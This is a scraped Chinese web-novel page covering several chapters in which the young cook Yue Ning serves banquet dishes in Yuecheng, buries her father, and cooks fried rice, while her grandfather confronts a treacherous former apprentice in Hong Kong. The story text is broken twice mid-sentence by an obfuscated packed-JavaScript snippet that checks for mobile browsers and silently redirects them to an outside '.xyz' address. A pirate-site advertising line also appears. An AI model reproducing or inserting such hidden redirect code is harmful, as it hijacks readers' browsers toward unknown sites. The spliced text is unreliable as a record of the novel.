上了年纪的老人说起福运楼的盛况。中国人爱围观等岳宝华准备换掉厨师服他们几个人过来的时候这张桌子已经被围得水泄不通。 “我跟你们说以前真该设包房雅座。”周老爷子忍不住说道“以前二楼全是包房雅座。” 周老爷子耿直了一辈子这脾气改不了。 看到他们过来围观的人问：“这是港城的大师傅做的？” 岳宝华骄傲地说：“不是是我孙女做的。” “孙……孙女？” “老师傅您看着也就五十来岁您孙女能有多大啊？” 港城人显年轻这人猜错了。岳宝华说：“我六十了孙女今年十八。这孩子在做菜上很有天赋刚好会这些。” 周老爷子说：“大家都去吃饭吧别互相影响。领导意识到福运楼的菜和以前比有差距正在想办法改进。” 大家确实是来吃饭的 周老爷子夹了一片白卤猪蹄这猪蹄已经完全看不出原本的样子是用北方做肘花的方法去骨卷紧后切成薄片。红卤可以直接吃白卤口味清淡的人可以直接品尝其鲜香要是口味重的边上还有一碟红亮的蘸料。 宋自强老家在湘江边上湘粤交界但两地口味却大不相同。这片卤猪蹄裹上红油放进他嘴里那才真合他的胃口。再来一口脆爽的凉拌芹菜舒服！ 张经理还是喜欢碧绿的莴笋片裹着柔软的蛏子。 几个人谁都没动那盘金鱼荷花周老爷子见大家都不动便伸出勺子准备下手。他先把勺子伸向小金鱼想了想又舍不得又转向荷花……吃吧！吃吧！早晚得吃。一勺下去半朵荷花没了。 有人动手了其他人便一拥而上各自抢了一口。老爷子吃了一口只觉得甜甜糯糯他说：“要是能冰镇一下就好了。” “冰镇的来了。”服务员放下一个盘子“冰镇咕噜肉。” 虽然大家都回到了自己的座位上但好奇心怎么能管得住呢？一个个脖子伸得比鸭脖子还长眼睛都盯着他们这桌。 葫芦围边冰块作底橘红滚圆的咕噜肉放在冰块上。周老爷子有些意外：“宁宁没放菠萝？” 就连岳宝华都有些诧异咕噜肉传统做法就是要放菠萝菠萝的酸味和香 味是这道菜的特色。 “来来来趁热吃。”周老爷子伸出筷子。 “既然要趁热吃为什么下面还要放冰块？” 宋自强明知这种菜就是讲究却还是忍不住问。这也是其他人共同的疑问。 “这叫冰火两重天。”周老爷子送了一颗咕噜肉进嘴里舌头刚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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糯米饭软糯却不烂米粒充分吸收了鸡肉、莲子、火腿等八宝食材的味道。周老爷子的大腮帮子微微颤抖着说道：“好吃太好吃了。” “我就要这只鸡他们那一桌有凭什么我们没有？”有个顾客不想讲道理一心只想吃到那只鸡。 要说中午老爷子还愿意分享一小口拆鱼羹可这会儿看着周围那些馋得眼睛发亮、嘴角都快流口水的人意识到狼多肉少还是留着自己吃吧！ “这是港城来的厨师做的不是我们酒楼的菜品我们酒楼的鸡都在菜单上。”服务员已经没了耐心脸上一副“你爱点不点”的神情。 “人家能做你们为什么不能做不就是一只鸡嘛？” 今天发生的事儿福运楼的人都议论了大半天。服务员翻了个白眼：“不就是一只鸡？这只鸡整个粤城都没几个厨子会做。十几年前我们福运楼还有师傅会做的时候这只鸡要卖三十多块。就算给您做您吃得起吗？”这也不能怪他服务态度不好实在是客人不讲理。 “你怎么知道我吃不起？三十几就三十几你给我上啊！”这人火冒三丈站起来拍着桌子跟服务员叫嚷。 岳宁见事态发展到这般地步张经理居然还稳稳地坐着。餐饮业属于服务业碰到这种情况理应主管出面化解矛盾怎能让服务员在前面顶着。 那个服务员也很强硬：“你讲不讲道理不是跟你说了嘛这不是福运楼的厨子做的是港城的厨师做的。福运楼会做这道菜的厨子都已经过世了你还想……” 岳宁知道他要说什么立刻打断道：“这位大哥这只鸡是我做的。” 她快步走上前把那个服务员拉到身后说道：“我不是这里的厨师所以他没办法给您点这道菜。而且这道菜啊不是您想吃就能吃到的。” “难不成还得规定谁能吃谁不能吃？”这个男人质问道。 岳宁笑着解释：“当然 不是一来这只鸡现在会做的人已经寥寥无几估计全国都找不出几个了。所以福运楼才请我们来交流厨艺；二来我做这只鸡花了整整一天时间就算我是福运楼的厨子您要是想吃也得提前两三天预定才行。” “这么麻烦？” “好饭不怕晚嘛。”岳宁说“福运楼目前看来还没办法推出这道菜。对了！我爷爷是港城宝华楼的老板也是福运楼已故大厨罗老师傅的师弟您要是真想吃那就得去港城宝华楼最好提前一个礼拜预定。” “哎呦小姑娘你这是在拉客啊？港城那边价格多贵啊？我们可吃不起。”有人说道。 “没有四五百港币肯定吃不到。不算鸡和里面材料的成本光耗费的时间就是一位大厨一整天的工时。而且这个大厨还不能是一般的大厨这工钱得有多高？”岳宁耐心地跟他们解释。 “哈哈哈小姑娘刚才你说这是你做的又说不是一般的大厨能做。这么说来你是大厨中的大厨喽。”一位大叔笑着调侃“你可真不谦虚啊！” 岳宁转身看向他们那一桌露出略带不好意思的神情：“实力不允许我谦虚。” 这话一出口引得众人哈哈大笑起来。 “这还真是大实话。” 岳宁挠挠头说：“各位叔叔阿姨、大哥大姐即便我会做这道脆皮糯米鸡我也不建议大家吃这道菜是给港城那些有钱没处花的富豪享用的。我们祖孙俩来教福运楼这道菜是希望它以后能挣外汇。咱们都是劳动人民要是大家有机会去港城宝华楼就来找我这个小厨子我给您炒一份扬州炒饭再配上我爷爷这位老厨子做的烧鸡烧鹅。我保证味道绝佳让您吃得舒舒服服的。” “我们去港城就吃个扬州炒饭？” “阿姨我的扬州炒饭要用十几种配料还得加高汤炒制。您信我的绝对好吃。”岳宁说道。 “港城也不是人人都能去的。你这只鸡这么香……” “叔说到香气那我得向您推荐今天福运楼的干炒牛河今天的古法炒牛河味道和以前福运楼的干炒牛河不一样特别香。您点点看？要是您觉得不好吃我给您买单。”岳宁借机把话题切换到干炒牛河上。 “行我听你的。加一份干炒牛河。”这位大叔说道。 岳宁环顾四周：“你们要是还没点干炒牛河尽管点。我爷爷的独门秘方再加上福运楼阿邦师傅的手艺一定得尝尝。” 这些话上辈子她在介绍旗下几条产品线的新品时不知道说了多少回。每次她这么一说粉丝们都会在评论区叫嚷着让她赶紧上链接。 她弯腰问那个跟服务员吵架的客人：“大哥您要不要来一份干炒牛河？” 这位大哥看着那个正忙着加单的服务员心里纠结不已。 “好吃真的很好吃。”有个正在吃干炒牛河的顾客说道 “那我也要！” “我们也加一份。” “我们也加一份。” “……” 岳宁说了一句：“要是不好吃算我的。” 大哥终于忍不住了：“给我也加一份。” 很快整个大厅都弥漫着干炒牛河的香气牛河邦在厨房里骂道：“哪个灰孙子接了这么多单？要累死我啊！” 你身边有不少朋友还没看到本章呢，快去给他们剧透吧 第36章 扬州炒饭 昨晚吃晚饭时，宋自强得知他们今天要安葬岳志荣，便亲自安排了局里的小车负责接送。 一大早，小车先去酒店接了岳宁祖孙俩，接着接上周老爷子和牛河邦，一同前往城外的山上。 到了山上，岳宝华轻车熟路地找到了妻子的墓。墓碑上刻着两个人的名字，黑色的“张阿娣”，红色的“岳宝华”。这座墓碑是他上次回来重新修缮的，而立碑人，他自欺欺人地刻上了“孝子岳志荣”。 那年，从淮河到珠江流域都发了大水，他一路乞讨。途中遇到一个不太会要饭、饿得快不行的小姑娘，便分了一口饭给她，她就一路跟着他。到了粤城，他进福运楼打杂，求蒋老板给小姑娘一口饭吃。蒋老板赏识他，反正福运楼也需要人洗碗，就安排那个姑娘在福运楼做洗碗工。 他们一起长大，后来成亲。女人生孩子如同在鬼门关走一遭，她生下志荣后身体就垮了，没过两年便去世了。她去世时，粤城被日本人占领，谁也不知道还能活多久，她只说：“霉运、厄运都由我一个人承担，你们爷俩要好好活着。” 只是她没能把霉运和厄运全部带走，岳宝华捧着儿子的骨灰盒，眼泪一滴一滴落下：“阿娣，我把志荣接回来了，把他葬在你旁边……” 岳宝华泣不成声，岳宁跪在一旁烧纸。岳宝华泪眼模糊地看着岳宁：“阿娣，你看看宁宁，这是志荣的女儿，志荣把她教得很好。” 岳宁说：“奶奶，您和爸爸应该碰上了吧？你们在那边好好的，我和爷爷在这里也会好好的，我会照顾好爷爷。” 安慰好爷爷，岳宁看着爸爸的骨灰被埋进土里，看着墓碑上的“孝女岳宁”，她总算是完成了带爸爸回家的承诺。 这么多年过去，她已经接受了爸爸离世的现实。就像她曾对着和爸爸的照片聊天一样，此刻她跪在爸爸的坟前说：“爸爸，我知道您把罗爷爷也当作父亲看待。但是罗伯伯这个人实在不能有太多牵扯。国强哥人不错，肯学肯钻研，不过现在要是带他去港城，恐怕会有很多麻烦。如今宝华楼也遇到了大问题，我身边需要能和我齐心应对困难的人。阿邦叔和您有交情，马耀星很刻苦，有股子拼劲。我就带他们回去。等宝华楼安定了，国强哥在福运楼练好了基本功，等罗伯伯正视现实之后，我再带他去港城。您在地下跟罗爷爷说一声，让他放心，我不会放弃国强哥。 昨天晚饭时，岳宁跟宋自强交流了她在福运楼厨房看到的情况。她认为，当前福运楼后厨缺乏积极性，除了罗世昌的问题，还与国营饭店普遍存在的缺乏有效奖励机制和晋升机会有关。她特意以牛河邦为例，指出像他这样牢骚满腹却颇有本事的人，如果不给机会，只会给其他年轻职工带来负面影响。她建议把牛河邦和马耀星列入第一批去港城培训的人员名单。 牛河邦也给岳志荣磕了头：“志荣哥，虽然你教我的时间不长，可我从你那儿学到的最多。现在宁宁来了，看我生活困难，又要带我去港城。你放心，我会帮着宁宁和宝华叔的。 周老爷子坐在石头上说：“志荣啊！孩子有出息着呢！你放心吧！ 岳宝华这些天对着儿子的照片说了太多话。他再次擦拭儿子的墓碑，又看向妻子的墓：“阿娣、志荣，我们爷孙俩年年都会来看你们。 岳宁挽着爷爷一起下山，岳宝华说：“宁宁，等爷爷**，你也把爷爷埋到这儿，跟你奶奶和爸爸在一起。 “知道了。我们以后把酒楼开回粤城，一半时间待在粤城，这样奶奶和爸爸就能经常看到我们了，好不好？岳宁说。 这孩子，总能说出暖人心的话，努力把人从痛苦中拉出来，让人能向前看。 “好，开回来。爷爷替你守粤城的店。 下了山，车子先送岳宝华去长途汽车站。 岳宁和乔君贤通电话，乔君贤告诉她，港城这类新闻太多，即便他想帮忙延续新闻热度，可现在关注度已经下降，闹得再大，热度也很快会过去。 这怎么行？作为上辈子常在公众面前活跃的网红老板，她怎能让热度在此时下降？到时候反转得无声无息，多憋屈！岳宁连忙让爷爷赶紧回去，并给他布置了一个任务，那就是去制造话题。 到了长途汽车站，岳宁送爷爷到门口。才找回爷爷没几天，岳宝华已经舍不得离开孩子了。他伸手摸了摸孙女的脸：“宁宁，你要好好照顾自己。话一出口，又觉得有些多余，孩子一个人生活了这么多年。 岳宁笑着问：“爷爷，我是不是胖了？ 天天在一起，岳宝华没太留意，现在一摸孩子的脸，发现她的脸颊丰润了许多，而且不知不觉间，孩子好像也变白了不少。 “您放心吧，我在这儿，天天跟周爷爷一起，喝喝茶、做做饭。就周爷爷 这爱吃的劲儿，等您下次见我，肯定又胖了一圈。 周老爷子听到这话，喜上眉梢：“宝华，放心吧，我会照顾好宁宁的。 “华叔，您放心，她会照顾好我的。托她的福，昨天我炒了比以前大半个月还多的河粉，回家躺床上，腰大半天才缓过来。牛河邦说。 牛河邦的话把大家都逗笑了，岳宝华说：“阿邦，我等你去港城。 “好。 “那我走了。岳宝华边走边挥手。 岳宁挥手喊道：“爷爷，到家了给我打个电话。这一声，让岳宝华眼里再次盈满泪水，这么多年了，他终于又有家人牵挂自己了。 岳宁看着爷爷的背影消失，回到车上。二商局的车子把他们三人都送到了福运楼门口，牛河邦还得回去炒牛河。一想到昨晚颠勺颠到手抽筋，他看到福运楼的招牌就不想往里走，而那个让他如此劳累的“罪魁祸首还对着他笑，牛河邦懒得再看她。 岳宁跟着周爷爷一起去他家。她是个外来的“和尚，昨天念了一整天“经。要是一直在福运楼“念经，就成了野和尚赶走家和尚，会遭人嫉恨的。 昨天，她让宋局长看到了罗世昌的问题，还利用晚饭时解决服务员和顾客冲突的契机，让宋局长看到张经理的管理水平也就那样。宋局长说要把福运楼当作典型来抓，希望他能成功吧。今天，她还是跟周爷爷一起喝喝茶、聊聊天，明天再去福运楼待一天。 “阿女，你昨天说用高汤炒扬州炒饭，我今天就想自己试试。昨天饭桌上，周老爷子就问过她扬州炒饭的做法，记在了心里。他不好意思让岳宁做，那自己做总行吧？现在小丫头说要去他家，那他总能让小丫头给自己做了吧？ 岳宁笑出声：“想吃吧？想吃，我就给您做。 “想想想！周老爷子连说三个“想。 “不过有些食材，您家可能没有。 “老头子我都备齐了。周老爷子说道。 “真的？ 还真被他说中了，他老人家海参、瑶柱、花菇都发好了放在冰箱里。他又得意地拿出虾籽：“我做云吞面用的。还有花胶，要不要？ “那就不用了。 他老人家还从冰箱里拿出一大盆米饭：“炒饭要用隔夜饭，我都煮好了。 哎呦！昨天她光讲里面有什么食材，没提米饭的事。她说：“谁跟您说要用隔夜 饭的？用隔夜饭新出锅米饭的清香就没了您这个老饕还不够到家。” “那现煮？” 岳宁也舍不得浪费这些米饭说：“要不还是用这些米饭吧？” “现煮现煮。这些米饭我等下晚上煮泡饭。”老爷子可不想这碗炒饭有任何缺憾。 岳宁淘米：“这米饭啊要比平时吃的饭硬一些这样炒出来的米粒才会粒粒分明。”岳宁加好水让保姆阿芳把饭煮上。 周老爷子像献宝似的让她闻那块火腿肉：“阿女这块火腿怎么样？” 岳宁凑近闻了一下隔了一世又闻到了这极品金华火腿的香味：“能用它做菜是我的荣幸。” 得到肯定老爷子高兴得合不拢嘴。 米饭熟还需要些时间岳宁把灶台交给阿芳周老爷子对阿芳说：“中午吃炒饭你用剩下的鸡汤炖个冬瓜汤就行。” 老爷子带着岳宁去天井里喝茶老爷子烧水岳宁拿起茶饼闻了闻。 “我自己存的茶混乱中我存的那些茶饼都没了这个茶饼到现在也就三年。” “已经有糯米香气了可以了！”岳宁提起水壶烫茶具。 老爷子有些惊讶：“你还懂茶。” 岳宁洗茶：“大妈妈给莫伯伯寄茶叶莫伯伯就带着我们父女喝茶莫伯伯是……” 岳宁跟老爷子闲聊起来老爷子听她有这番际遇为她高兴说：“还好你能遇到这么好的人。你那个妈啊要不是她你爸在福运楼福运楼也不会是今天这个样子。” 岳宁想起那个跑去港城做二奶的女人 矮脚门被推开岳宁回头一看一位穿着颇为时髦的中年女士走了进来周老爷子问：“文婷你怎么回来了？” “昨天供港的一批猪肉抽检出不合格有污染回来跟屠宰场开会屠宰场的人还在赶来还得点时间来看看您。”这位女士放下包。 岳宁站起身来周老爷子介绍道：“福运楼以前有个小岳师傅岳志荣你还记得吗？” “记得小岳师傅给我做过婚宴菜他做的菜可好吃了。”这位女士说道。 “这是小岳师傅的女儿。”周老爷子说“宁宁啊这是我女儿。” 周爷爷刚才叫她文婷那全名应该叫周文婷岳宁点头：“周阿姨好我是岳宁。” “我想起来了那个胖乎乎的小姑娘。” 周文婷仔细打量她，“长大了，跟小时候完全不一样了。眉眼还是很像小岳师傅的。” 岳宁对这位周阿姨已经没有印象了。 周文婷转头跟老爷子说：“我记得您说过小岳师傅他……”大约是意识到岳宁在，周文婷没再说下去。 岳宁说：“我爸爸过世五年了，我爷爷去西北，把我找了回来。” “哦！回来了就好。” 岳宁说：“周爷爷、周阿姨，我去做饭了。你们俩先聊一会儿。” “怎么能让客人做饭呢？”周文婷皱眉，“爸，带宁宁出去吃吧！” “周阿姨，您别客气。周爷爷今天要是吃不到我做的炒饭，晚上睡觉都不踏实。” 岳宁把空间留给父女俩，一个在外忙碌的女儿，抽空回来看望老父亲，就让他们俩好好说说话。自己还是去做扬州炒饭吧，她叫上阿芳一起进厨房做饭。 扬州炒饭的来源说法不一，一说是发源地在扬州，另一说是光绪年间粤城的一家淮扬菜馆推出的炒饭，还有说是扬州厨子到海外谋生时做的炒饭。蛋炒饭加点配料可以叫扬州炒饭，加上山珍海味也叫扬州炒饭。 岳宁想给父女俩留些空间，可周爷爷倒好，又跑进厨房来了：“我得看着，好好学学。” 姜末爆香，鸡丁滑炒开来，接着炒火腿丁。这火腿品质极佳，一入锅就散发出陈年火腿特有的香气。周老爷子在吃的方面是行家，他买了绿笋回来，绿笋带着清甜。鸭胗、香菇、海参一起下锅翻炒，放入葱花，瑶柱连带蒸它的汤水一起倒进去，加一勺黄酒，再加入鸡汤，大火煮开，小火煨制。 “怎么样？香吧？”周老爷子像只偷油的老鼠，追着香气闻。 亲爹对吃，真的是痴迷到走火入魔了，周文婷早已无话可说。 岳宁笑了：“周爷爷，我还没炒呢。我现在是用鸡汤煮这些食材。” “就是很香。”周老爷子闻到这香气，就想起昨天的脆皮糯米鸡：“文婷，我跟你说昨天啊，宁宁做的脆皮糯米鸡……”周老爷子把昨天的脆皮糯米鸡形容得天上地下绝无仅有，周文婷其实不太在意，随口应了一句：“我又没得吃。” “你可以吃，等手续办下来，宁宁要去港城。”周老爷子说，“宁宁的爷爷在港城开了家酒楼。等宁宁去了，你可以去她那儿吃。” “好呀！”周文婷这话回答得漫不经心。 米饭已经煮 好，岳宁把米 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15915393|176918||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 饭盛出来，用勺子打散，果然颗颗分明。她去打鸡蛋，将一小半蛋液拌进米饭里，让米粒均匀地裹上金黄色。 岳宁揭开锅盖，馥郁的香气升腾起来，周老爷子又问女儿：“香吧？香吧？” “很香。”周文婷回答，确实很香，但也不至于像她爸这样夸张。 岳宁把食材丁和高汤分开备用，让阿芳添柴，猛火炒鸡蛋，放入米饭，这时她往锅里淋了一勺高汤，米粒在锅里翻滚，香气四溢。周老爷子已经开始深深吸气，就连对吃不太感兴趣的周文婷，也不自觉地咽了咽口水。 第一波高汤被米饭吸收后，她再淋第二勺。高汤必须分次加入，否则炒饭外面湿软，里面又进不去味道。等米饭把高汤全部吸收，由于柴火灶不好颠勺，米饭随着炒勺抛起落下。接着放入煮过的食材丁，加入青豆和虾仁，颜色缤纷，香气越发诱人。 已经够香了，还要加葱花？一大早从港城赶回来的周文婷没有像她爸那样露出饿狼般的眼神，但她的胃比她的嘴先察觉到这份美味，“咕噜”一声，这是最诚实的反应。 出锅前洒上虾籽，再翻炒，让虾籽与米饭充分混合，最后撒上碧绿的葱花，出锅。 “吃饭了。” 周老爷子拿了碗筷，阿芳端着冬瓜汤，周文婷也迫不及待地跟在岳宁后面来到饭厅，饭盆放下。周老爷子毫不掩饰自己的急切，立马盛了一碗饭，先尝了一口，脸上的表情满是满足。作为厨子，给这样的食客做饭，真的是一种享受。 周文婷也端起了饭碗，一口饭下肚，本就空空的胃给了她最迫切的信号，她连着扒拉了几口饭，终于，她的胃得到了抚慰，脸上露出了和她爸爸一样的表情。 想起她爸说这个小姑娘要去港城，她爷爷开了家酒楼，周文婷问：“宁宁，刚才听你说要去港城，你爷爷开的酒楼是哪一家啊？” “宝华楼，不知道阿姨有没有听说过。”岳宁相信这位阿姨肯定听过，毕竟最近宝华楼正处于**风口浪尖。 周文婷停下手中的筷子：“宝华楼？那肯定听过，是旺角那里口味最好的酒楼，很多老饕都爱去光顾。” “是吧？”周老爷子说，“就说手艺好，到哪儿都有识货的人。岳老板是小岳师傅的爸爸，当年跟罗长发一起做菜的时候，就比罗长发厉害。罗长发能有国家名厨的称号，岳宝华能差吗？” “是 啊！”周文婷心里琢磨着，不知道该不该跟小姑娘说最近宝华楼正面临危机，也许她爷爷不想让小姑娘担心呢？ 岳宁却在想着另一件事：“阿姨，我刚才听您说，您是回来处理供港猪肉污染问题的。能冒昧问一句，您是做什么工作的吗？” “你阿姨负责供港生鲜，在港城联络处，专门处理供港生鲜的质量问题。”周老爷子替女儿回答道。 “原来是这样啊！我在西北的时候，牛羊都是生产队一家一户散养的，然后公社统一收购。说实话，每个生产队的饲养员养出来的牛羊都不一样。比如我，大队照顾我，我养的羊就在附近山上吃草。但队里有些小组，会赶着牛羊出去游牧。这两种养殖方式养出来的羊不一样。到了公社，只按照月龄和重量来计算。但作为厨子，饲养方式不同，羊肉的风味相差很大。这种情况，咱们怎么判断、怎么分类呢？”岳宁忍不住问道。 “这是目前我们面临的一个棘手问题。所以港城现在不要我们的牛羊，他们从澳洲、新西兰、巴西等地进口牛羊，还会区分谷饲和草饲。我们向他们供应蔬菜、鸡鸭鱼和猪肉，这些都是定点饲养场供货，相对好控制一些。” 岳宁点头表示明白了，又问道：“不同养殖方式的鸡鸭，以及不同水源的鱼，口味都会有很大差异。如果是批量采购，我该如何挑选品质较好的呢？去菜市场挑选的情况我了解，我问的是批量采购的情形。” 周文婷解释道：“货物到港后，会分配给相应的经销商，而且所有的东西都有追溯体系。就像这次的猪肉，是在市场抽检中发现有问题，然后反馈给我们，我们再找到对应的屠宰场……” 岳宁一边吃饭一边询问，通过交流，她大致了解了当前供港生鲜的供应模式，也知晓在港城市场上，蔬菜、鸡鸭鱼肉的供应中，泰国和台湾地区的产品也占据了一部分份额，并非大陆产品一家独大的局面。 上辈子，港城的蔬菜和鸡鸭鱼肉绝大部分都来自大陆，这是否意味着未来大陆的供应量会持续扩大呢？ 岳宁心里想着，不知道阿根叔和葛大姐现在怎么样了。要是他们能成，自己要是能和周阿姨建立良好的关系，摸清楚供港生鲜业务的门槛，以后说不定能帮阿根叔建个养殖场呢。 周老爷子看到岳宁一边询问一边思索，便说道：“宁宁还没去港城，就已经在为宝华楼的 未来经营考虑了呀？” 大家还不太熟悉彼此此时说出来可能会显得太过功利于是岳宁点头回应：“是啊！爷爷年纪大了腿又有静脉曲张的毛病我肯定得帮他。刚好阿姨是这方面的专家我就趁机多问问。了解得越多犯错的可能性就越小。对于我们做酒楼生意的来说品质控制至关重要。” “宝华楼有你在以后在港城肯定会越做越大。”周老爷子吃完一碗饭正准备再盛一碗时却看到女儿把剩下的那点饭都盛走了。心里想着本来就没算上她的份还吃这么多不过也只能无奈地想 周文婷听到这话心里想到宝华楼正处于危机之中宝华楼究竟能不能渡过难关还是个未知数。 她接着问道：“怎么没见宁宁爷爷呢？” “我爷爷今天早上刚回港城宝华楼出了点小状况他得回去处理一下。”岳宁说道。 小状况？周文婷看着岳宁那稚嫩的脸庞上面还挂着无忧无虑的笑容看样子老爷子是不想让孩子担心。但她清楚那恐怕绝非小事。 岳宁心里同样担忧爷爷性格正直真的能想办法制造话题引起关注吗？真的能把事情闹大从而解决问题吗？爷爷呀在该放下颜面的时候一定要果断一些才行啊。 第37章 岳宝华回港 岳宝华带着儿子的照片踏上了归途，经过六个小时的颠簸到达口岸。过了口岸后，徒弟阿松开车来接他回去，等抵达宝华楼时，已经是傍晚六点了。 夏天天黑得晚，宝华楼大门紧闭，而对面的胜华楼却人声鼎沸，门口的烧腊档口排着长队。 宁宁说已经安排好了，让他放手去闹。可他的个性本就不是争强斗狠之人，一辈子就只会用心做菜。要怎么闹呢？ “师傅，他们太过分了，您瞧！他们还厚着脸皮贴这种告示。”阿松指着胜华楼大门左侧墙上贴着的一张告示说道。 距离太远，看不清楚。岳宝华走近了两步，只见告示上写着：“本店菜品干净卫生，吃出异物，赔偿五千”。 “这不是宝华楼的岳老板吗？” “他回来了？” “听说去内地西北找孙女了。” “怎么一个人回来？孙女呢？” “……” 在食客们的议论声中，岳宝华一步步往前走，来到胜华楼门口。胜华楼的伙计一看到岳宝华，立刻一溜烟跑进去告诉丁胜强。这会儿，丁胜强正急忙从后面跑出来：“师傅，您回来了？” 岳宝华没有理会他，而是径直走向那张红纸，一把将其扯了下来。 丁胜强看到他如此激动，还扯下了这张纸，心里暗自讥讽，嘴上却说道：“师傅，您这是做什么？您看清楚，这不是您的宝华楼，这是胜华楼。” 刚才岳宝华还拉不下脸，看到这张纸，想到对方陷害自己，还如此堂而皇之地贴出来，心头的怒气再也控制不住，他把红纸往丁胜强脸上一扔：“你还要不要脸？” “师傅，您说什么呢？这是我对胜华楼的要求。我又管不了宝华楼，宝华楼吃出胶布也好，吃出铁钉也罢，甚至吃出蟑螂、老鼠，我除了为您感到难过，也无能为力。”丁胜强一脸无辜地说着，这几天他一直在宣传宝华楼能吃出胶布，进而暗示也能吃出其他东西。 岳宝华拍着胸脯说：“我岳宝华从街头摆摊开始，在旺角打拼了三十多年，别说胶布，哪怕是一根头发，客人都从未在菜里吃到过。” “师傅，您跟我说这些没用，您得问阿松啊？您离开的时候，是他在管理宝华楼。”丁胜强摆出一副“冤有头债有主，您别找错人”的表情。 岳宝华深吸一口气，试图平复心情：“丁胜强，先不说你刚从内地过来时我收留你、教你 手艺。你**欠下五万赌债，是我帮你还的。当时我只有一个要求，就是让你别再赌了。可你还是照赌不误，甚至挪用宝华楼买菜的钱，被我发现后，我也没让你填补这个窟窿，只是把你赶出了宝华楼。没过多久，你就在宝华楼对面开了这家胜华楼。你是我教出来的，做和宝华楼一样的菜，这我没话说；你价格定得低，那是你的经营策略；你挖走楼家富，那是你给得起钱。你凭本事跟我抢生意，我一点意见都没有。但这些日子，你干了多少恶心事？” 阿松跑过来，站在岳宝华身后说：“你带着你儿子半夜三更连着三天在宝华楼门口拉屎。” “你有什么证据？”丁胜强笑出声来，“没证据可别污蔑人。” 阿松可不管这些：“你见我们店生意好，就找不同的人打电话订座，把我们的座位订了，客人却不来。” “跟你说了，拿出证据来！” 丁胜强往前跨了一步，作势要揪阿松，岳宝华挡在徒弟前面说：“你知道，我的鱼缸是经过风水师指点摆放的，所以你找人偷偷在晚上放水，一缸金鱼全**。” 前面几件事，丁胜强嘴上不承认，心里却都认了。但这件事跟他毫无关系，他甚至都没听说过。而且这话从向来正直的岳宝华口中说出，丁胜强激动起来：“师傅，您别血口喷人，我什么时候弄死这些金鱼了？” 果然如宁宁所说，这句诬陷的话一出口，丁胜强的反应就很大。 其实，这缸金鱼是因为那天晚上新换了过滤器，一根水管松脱，从鱼缸里抽上来的水全部冲到了鱼缸外，一晚上下来，鱼缸的水没了，鱼也就全**。岳宝华跟孙女说起这事时，觉得这缸鱼的死是个坏兆头。 宁宁眼珠子一转，说一定要把这事栽赃到丁胜强头上，让他尝尝被诬陷的滋味，主要是给报纸、电视提供些有趣的话题，这样才能把事情闹大。 果然，有了让儿子到宝华楼门口拉屎、给金鱼放水这些事，大家接受起来十分容易。 岳宝华往前一步说：“你知道乔老板会来宝华楼吃我做的老鼠斑，就故意从卖鱼陈那里高价买走我预留的老鼠斑。乔老板人好，他帮我圆了场子。” 来胜华楼吃饭的食客，很多是宝华楼的老顾客。再说那天乔老板在场，还闹了起来，谁不知道这事呢？之前宝华楼大厅里鱼缸的鱼全**，他们还说不是好兆头，原来是这么回 事啊？这个丁胜强也太不地道了吧？ 一句假话后面跟着一句铁板钉钉的真事，还有谁会怀疑呢？ 岳宝华又向前一步，几乎贴到丁胜强身上，说道：“你趁着我去西北，阿松管着宝华楼的时候，欺负他这个老实人，在宝华楼的菜里放胶布，还让人把他打伤了。你知道楼家富跟你过去之后，宝华楼就只剩他还能撑一阵子。我刚刚得知自己的独生子死在西北，只剩下那一点血脉在西北受苦，我拼了命也要去找孩子回来。 岳宝华声嘶力竭地大吼：“我教你做菜，帮你还赌债，你却在这个时候，在我背后捅刀子，你还是人吗？ 这一声振聋发聩，吃饭的人都愣住了。 “岳老板，都这把年纪了，怎么还这么天真？一个烫着大波浪，手里夹着一支烟，穿着大红低胸紧身连衣裙，胸前两团肉呼之欲出的女人，扭着腰从胜华楼里走了出来。 她拉开丁胜强，走到岳宝华面前，抽了一口烟，把烟雾往岳宝华脸上喷去，冷笑一声：“华叔，港城历来弱肉强食，您不会天真地指望别人等您什么都准备好了，再跟您较量吧？您不在，对手趁着这个机会吃掉您的地盘，这不是天经地义的吗？技不如人，可不只是指手艺，还有手段。都已经这样了，认输吧！ 小说全网首发无弹窗免费阅读ｃａｉｘｓ．ｃom**(请来才 小说 看最新章节 完整章节) 岳宝华转身一把揪住丁胜强，痛心疾首地说：“你脑子能不能清醒点？当初是她想开酒楼，找到我，要跟我合作，我不愿意，她才看上了你。你去赌，输钱是他们设下的局。你为什么…… “你说够了没有？丁胜强大吼一声，使劲挣脱岳宝华的手，伸手一推，岳宝华踉跄几步，脚一软摔倒在地，阿松见状连忙去扶他。 “你没说够，我听够了。我给您做了十几年，我被绑的时候，我求您…… “师傅，师傅，您怎么了？阿松大喊。 岳宝华歪着嘴说：“阿……松。 正在吃饭的客人看出不对劲：“快叫救护车，岳老板中风了。 救护车还没叫，岳宝华缓了缓，把手伸给阿松，阿松扶他站了起来。 “师傅，您没事吧？ “我没事。 刚才说要叫救护车的客人说：“岳老板，您可别不当回事，您这是小中风，一过性的。要是不去看，接下来可能会爆发，很可能会半身不遂。 岳宝华虚弱地点点头：“谢谢您！我马上去看医生。我不能有事 孩子还没来呢！” 胜华楼的食客中有一些是宝华楼的老顾客在宝华楼吃了很多年。虽然胜华楼的菜看上去差不多价格也便宜但他们心里还是觉得宝华楼似乎更地道。很多人原本想等岳宝华回来再去光顾宝华楼。现在看着岳宝华的身影不免为他感慨唏嘘：这宝华楼还能开下去吗？ 过了二十来分钟 岳宝华摇摇头：“谢谢您我现在已经没什么事了。可能是这次跑的路太长累着了。不管有事没事去医院检查一下也好。” “对对对去检查一下也能安心。” 